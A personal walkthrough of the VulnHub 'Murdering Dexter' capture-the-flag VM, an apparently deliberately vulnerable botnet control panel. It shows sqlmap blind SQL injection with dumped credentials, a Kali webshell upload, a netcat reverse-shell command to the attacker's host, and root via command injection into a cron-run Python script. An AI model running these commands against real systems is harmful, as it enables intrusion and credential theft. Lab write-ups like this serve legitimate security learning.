VulnHub Murdering Dexter

Disclaimer: My solution below is not unique or original. I have relied on, modified, and sometimes directly copied techniques I grabbed reading the walkthroughs linked on VulnHub.com. If I failed to give anyone credit, their hard work is linked out from the vulnhub page and I urge you to read their write-ups as well.

Murdering Dexter is a VM created from the command and control panel from an actual botnet. Brian Wallace of Cylance found this in the wild, reversed it, and built a VM for practice. His story is chronicled on Cylance’s site. Since I’ve been pulling things from vulnhub.com randomly, I didn’t know what I was in for until after I had loaded up the vm. Starting with the normal scan I found little to interact with.

d$ nmap -sS 192.168.56.0/24

Starting Nmap 6.47 ( http://nmap.org ) at 2016-08-01 17:00 EDT

Nmap scan report for 192.168.56.101
Host is up (0.00073s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
111/tcp open  rpcbind
MAC Address: 08:00:27:BC:C2:B3 (Cadmus Computer Systems)

Skipping to port 80 for a minute, a quick look and spider gave me very little. I used BurpSuite because I feel quite handy with it. Here’s the results:

404 robots.txt
200 gateway.php

Reading other solutions indicate there is stuff I’m not seeing, brute force to the rescue!

I didn’t have dirbuster on this machine, so I tried my hand at wfuzz. This uses a seclists payload, hides 404 responses, and outputs results to a file.

$ ./wfuzz.py -w ../seclists/Discovery/Web_Content/Common_PHP_Filenames.txt --hc 404 http://192.168.56.101/Panel/FUZZ > today.txt && cat today.txt

********************************************************
* Wfuzz 2.1.3 - The Web Bruteforcer *
********************************************************

Target: http://192.168.56.101/Panel/FUZZ
Total requests: 5172

==================================================================
ID Response Lines Word Chars Request
==================================================================

00001: C=200 7 L 18 W 234 Ch "index.php"
00008: C=200 0 L 0 W 0 Ch "config.php"
00036: C=200 2 L 0 W 4 Ch "main.php"
00120: C=200 1 L 0 W 2 Ch "info.php"
00453: C=200 0 L 0 W 0 Ch "load.php"
03324: C=200 12 L 45 W 385 Ch "master.php"
05161: C=200 20 L 43 W 514 Ch "upload.php"
05162: C=200 7 L 7 W 90 Ch "pagination.php"

Total time: 8.183780
Processed Requests: 5172
Filtered Requests: 5164
Requests/sec.: 631.9817

Taking a look through the browser(always proxied through Burp), master.php has what appears to be a command interface.

Screen Shot 2016-08-10 at 10.08.14 AM

A quick test with commix says not so much. Also I get good practice at when/why to escape bash strings.

$ ./commix.py --url="http://192.168.56.101/Panel/master.php?command=ls+&Value=-ls&submit=SET!" -p="command","Value"
-bash: !": event not found

$ ./commix.py --url="http://192.168.56.101/Panel/master.php?command=ls+&Value=-ls&submit=SET\!"
__
___ ___ ___ ___ ___ ___ /\_\ __ _
/'___\ / __`\ /' __` __`\ /' __` __`\/\ \ /\ \/'\ 1.2.22-dev
/\ \__//\ \L\ \/\ \/\ \/\ \/\ \/\ \/\ \ \ \\/> </
\ \____\ \____/\ \_\ \_\ \_\ \_\ \_\ \_\ \_\/\_/\_\
\/____/\/___/ \/_/\/_/\/_/\/_/\/_/\/_/\/_/\//\/_/ (@commixproject)

+--
Automated All-in-One OS Command Injection and Exploitation Tool
Copyright (c) 2014-2016 Anastasios Stasinopoulos (@ancst)
+--

[*] Checking connection to the target URL... [ SUCCEED ]
[*] Setting the GET parameter 'command' for tests.
[*] Testing the classic injection technique... [ FAILED ]
[*] Testing the eval-based code injection technique... [ FAILED ]
[*] Testing the time-based injection technique... [ FAILED ]
[*] Trying to create a file in '/var/www/Panel/'...
[!] Warning: It seems that you don't have permissions to read and/or write files in '/var/www/Panel/'.
[?] Do you want to try the temporary directory (/tmp/) [Y/n/q] > y
[*] Trying to create a file, in temporary directory (/tmp/)...
[*] Testing the tempfile-based injection technique... [ FAILED ]
[!] Warning: The tested GET parameter 'command' seems to be not injectable.
[*] Setting the GET parameter 'Value' for tests.
[*] Testing the classic injection technique... [ FAILED ]
[*] Testing the eval-based code injection technique... [ FAILED ]
[*] Testing the time-based injection technique... [ FAILED ]
[*] Trying to create a file in '/var/www/Panel/'...
[!] Warning: It seems that you don't have permissions to read and/or write files in '/var/www/Panel/'.
[?] Do you want to try the temporary directory (/tmp/) [Y/n/q] > y
[*] Trying to create a file, in temporary directory (/tmp/)...
[*] Testing the tempfile-based injection technique... [ FAILED ]
[!] Warning: The tested GET parameter 'Value' seems to be not injectable.
[*] Setting the GET parameter 'submit' for tests.
[*] Testing the classic injection technique... [ FAILED ]
[*] Testing the eval-based code injection technique... [ FAILED ]
[*] Testing the time-based injection technique... [ FAILED ]
[*] Trying to create a file in '/var/www/Panel/'...
[!] Warning: It seems that you don't have permissions to read and/or write files in '/var/www/Panel/'.
[?] Do you want to try the temporary directory (/tmp/) [Y/n/q] > y
[*] Trying to create a file, in temporary directory (/tmp/)...
[*] Testing the tempfile-based injection technique... [ FAILED ]
[!] Warning: The tested GET parameter 'submit' seems to be not injectable.
[x] Critical: All tested parameters appear to be not injectable. Try to use the option '--alter-shell' and/or try to increase '--level' values to perform more tests (i.e 'User-Agent', 'Referer', 'Cookie' etc).

Other writeups tell me there’s sqli on gateway.php, but all link to the same exploit, https://www.exploit-db.com/exploits/31686/. Which is written by the guy that wrote the VM, who originally posted the script on his github. I put in some practice with sqlmap and got nothin. IDK what he’s doing in that script enough to reverse it in a different approach. Nearest I can tell he’s hitting page and val parameters with something base64 encoded. but I couldn’t replicate until I found the Cylance blog linked above.

It took me a few tries to determine what I needed, where to get it from, then a LOT of time to brute force a blind sqli. I’ve concatenated my commands and the results from both the command output and the log file. This takes up a lot less room than the actual full command output, so if you’re trying to repeat this, and seeing differently formatted output, that’s why.

$ ./sqlmap.py -u "http://192.168.56.101/Panel/gateway.php?page=test&val=test" --identify-waf --tamper greatest,char encode

[12:26:56] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[12:26:56] [WARNING] GET parameter 'page' is not injectable
[12:26:58] [WARNING] GET parameter 'val' is not injectable
[12:26:58] [CRITICAL] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp')
[12:26:58] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 1 times
$ ./sqlmap.py -u "http://192.168.56.101/Panel/gateway.php" --data="val=AA%3D%3D&page=" --tamper base64encode --level 3

sqlmap identified the following injection point(s) with a total of 4644 HTTP(s) requests:
---
Parameter: page (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (comment)
    Payload: val=AA==&page=%' AND SLEEP(5)#
---
web server operating system: Linux Debian 7.0 (wheezy)
web application technology: Apache 2.2.22, PHP 5.4.4
back-end DBMS: MySQL >= 5.0.12

This one gives me results, and if i’m reading the blog post and source code right, the app is taking the key, AA==, and the data input through the
“page” parameter, encoding, then sending that data to mysql. Now it’s just a matter of fumbling around the dbms until I find the data I want.

1. learn where I am, and who I am.

$ ./sqlmap.py -u "http://192.168.56.101/Panel/gateway.php" --data="val=AA%3D%3D&page=" --tamper base64encode --identify-waf --dbms mysql --current-user --current-db 

---
Parameter: page (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (comment)
    Payload: val=AA==&page=%' AND SLEEP(5)#
---
web server operating system: Linux Debian 7.0 (wheezy)
web application technology: Apache 2.2.22, PHP 5.4.4
back-end DBMS: MySQL >= 5.0.0
current user:    'root@localhost'
current database:    'nasproject'

2. Learn what other users exist.

$ ./sqlmap.py -u "http://192.168.56.101/Panel/gateway.php" --data="val=AA%3D%3D&page=" --tamper base64encode --identify-waf --dbms mysql --users --passwords 

back-end DBMS: MySQL >= 5.0.0
database management system users [5]:
[*] 'debian-sys-maint'@'localhost'
[*] 'root'@'127.0.0.1'
[*] 'root'@'::1'
[*] 'root'@'dexter'
[*] 'root'@'localhost'

database management system users password hashes:
[*] debian-sys-maint [1]:
    password hash: *BDE9D5DC64375262E4559449F728695598D30713
[*] root [1]:
    password hash: *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
    clear-text password: password

Nice! root/password is a valid db user. Doesn’t work through the web app though.

3. Learn what other databases exist.

$ ./sqlmap.py -u "http://192.168.56.101/Panel/gateway.php" --data="val=AA%3D%3D&page=" --tamper base64encode --identify-waf --dbms mysql --tables

[09:05:58] [INFO] fetching database names
[09:05:58] [INFO] fetching number of databases
[09:05:58] [INFO] resumed: 4
[09:05:58] [INFO] resumed: information_schema
[09:05:58] [INFO] resumed: mysql
[09:05:58] [INFO] resumed: nasproject
[09:05:58] [INFO] resumed: performance_schema
[09:05:58] [INFO] fetching tables for databases: 'information_schema, mysql, nasproject, performance_schema'
[09:05:58] [INFO] fetching number of tables for database 'nasproject'
[09:05:58] [INFO] resumed: 5
[09:05:58] [INFO] resumed: bots
[09:05:58] [INFO] resumed: commands
[09:05:58] [INFO] resumed: config
[09:05:58] [INFO] resumed: logs
[09:05:58] [INFO] resumed: users
[09:05:58] [INFO] fetching number of tables for database 'performance_schema'
[09:05:58] [INFO] resumed: 17
[09:05:58] [INFO] resumed: cond_instances
[09:05:58] [INFO] resumed: events_waits_current
[09:05:58] [INFO] resuming partial value: events_waits_hi

Here I killed sqlmap because everything other than “nasproject” looked like a system db, and I’d rather spend my time attacking the application for the moment.

5. Find a valid user for the application.

$ ./sqlmap.py -u "http://192.168.56.101/Panel/gateway.php" --data="val=AA%3D%3D&page=" --tamper base64encode --dbms mysql -D nasproject -T users --dump

[09:14:25] [INFO] fetching columns for table 'users' in database 'nasproject'
name
[09:22:36] [INFO] retrieved: password
[09:39:36] [INFO] fetching entries for table 'users' in database 'nasproject'
[09:39:36] [INFO] fetching number of entries for table 'users' in database 'nasproject'
1
loserbotter
if i had any real talent, i would make money legitimately
[11:58:41] [INFO] analyzing table dump for possible password hashes
Database: nasproject
Table: users
[1 entry]
+-------------+-----------------------------------------------------------+
| name        | password                                                  |
+-------------+-----------------------------------------------------------+
| loserbotter | if i had any real talent, i would make money legitimately |
+-------------+-----------------------------------------------------------+

Bingo. Now I have the access that everyone else got from just running the author’s script. To break back out how the sqli works, you need a static val, AA== to be encoded with/by the page parameter. Then you can set to work on the DB. The author knows this b/c he read the source, and everyone else just used his script. I’m not better for doing it the hard way, but I feel like it was worth the effort to get more practice.

Now I have authenticated access to viewer.php, master.php, and upload.php. viewer.php didn’t really look interesting, master.php looks really polluted by sqli attempts, and upload looks like an upload. Ooo, yeah.

dexter_upload.php

However, I have no shells. tools.kali.org to the rescue!

$ git clone git://git.kali.org/packages/webshells.git
Cloning into 'webshells'...

remote: Counting objects: 80, done.
remote: Compressing objects: 100% (71/71), done.
remote: Total 80 (delta 15), reused 0 (delta 0)
Receiving objects: 100% (80/80), 39.09 KiB | 0 bytes/s, done.
Resolving deltas: 100% (15/15), done.
Checking connectivity... done.
$
$ ls webshells/
asp	aspx	cfm	debian	jsp	perl	php

Honestly, of all the tools I use for things all the time, git, in relationship to people sharing their hard work, is the best tool. “git clone” is magic. If it’s not what I need, I can modify, and if it does what I want, even better. Repositories like webshells and sec lists are even better since they’re guaranteed to work anywhere git does because they are just text files.

So we upload our backdoor, and get even more info that we hoped!

dexter_uploadfile

Yup, it works!

dexter_backdoor

Now I need to know what account I’m running under, and what I can effect with it. Abbreviated to the shell commands, but you can trust I ran them through the browser. It’s all the more access I have at the moment.

$ whoami

www-data

$ ls ../

config.php
exes
gateway.php
index.php
info.php
load.php
main.php
master.php
pagination.php
style.css
upload.php
viewer.php
viewer_pagination.php

Speaking of all the more access…that’s about enough of that. Throw this,

http://192.168.56.101/Panel/exes/simple-backdoor.php?cmd=/bin/nc -e /bin/sh 192.168.56.1 2222
, through the browser and we’re in!

 
$ nc -lvp 2222 
Connection from 192.168.56.101:60914 
ls -la 
total 12 
drwxrwxrwx 2 root root 4096 Aug 10 08:31 . 
drwxr-xr-x 3 root root 4096 Mar 16 2014 .. 
-rw-r--r-- 1 www-data www-data 328 Aug 10 08:31 simple-backdoor.php whoami www-data

Ah, interactive shell! Still only www-data. Which is nice, but not enough.

cd ../
pwd
/var/www/Panel
cd ../
pwd
/var/www
ls
Panel
antitamper.list
antitamper.py
index.html
tamper.log

OK, now we have potential. What are these anti tamper files? .list is just that, a list of json.

cat antitamper.list
{
"/var/www/Panel/info.php": "d8fa4356213b6ce9253f55acdff780ac",
"/var/www/Panel/upload.php" : "b2640cea86e5171662a082b6a043fcc2",
"/var/www/Panel/style.css": "92f234834a61b7fde898eea40f857bb3",
"/var/www/Panel/gateway.php": "7b93115195db0c0b085a1107c4cc1aed",
"/var/www/Panel/pagination.php": "1a8d91c12263dd5298a70c72976c5e97",
"/var/www/Panel/viewer.php": "292b3b12c2f90c0e557bf599c2475c15",
"/var/www/Panel/config.php": "421fc13061ab1f343e6607e4ef4f8f42",
"/var/www/Panel/main.php": "7812b7c1ed608299c9bece4f46607423",
"/var/www/Panel/load.php": "0f95762562aa97c62d004949e7337e95",
"/var/www/Panel/viewer_pagination.php": "60c7444a92daa115abfecc73c46fc2ec",
"/var/www/Panel/master.php": "2b50c51fce89ddcfb769effdeab7080c",
"/var/www/Panel/index.php": "af44aa507c02f3c1aede5e251b28dc64"
}

.py is a script that opens .list, reads the content, and for each value iterates through an md5 check.

cat antitamper.py
import os
import json

def check():
with open('/var/www/antitamper.list') as f:
content = json.loads(f.read())
    for f in content:
        s = "echo '%s  %s' | md5sum -c --status >> /var/www/tamper.log" % (content[f], f)
os.system(s)
check()

With a shell command. It stands to reason that if one were to modify the source file, antitamper.list, you might could just get straight command injection. I wonder what executes antitamper.py?

So after beating my head against the wall continuously for about 8 hours, it turns out that commas are significant in json, which means that this:

Screen Shot 2016-08-18 at 10.38.36 AM

is not the same as this:

Screen Shot 2016-08-18 at 10.38.46 AM

Once I got through that hurdle, I got root.

Afterword:

I learned a whole lot more than anticipated on this one, and in addition have new questions. When going down wrong paths not seeing my typo, I found that it’s a cron job running the python script every other minute. That’s how I get a root shell. But how would you enumerate that without access to the OS at another level? This time I got so pissed I mounted the .vmdk(through a really sweet tool, http://vmxray.com) and checked to make sure that’s what was actually happening. I don’t know how you avoid this in the wild. Other than, of course, not typing your exploitation.

Sources:

http://devloop.users.sourceforge.net/index.php?article90/solution-du-ctf-dexter

http://staringintodevnull.blogspot.nl/2014/04/dial-m-for-murdering-dexter.html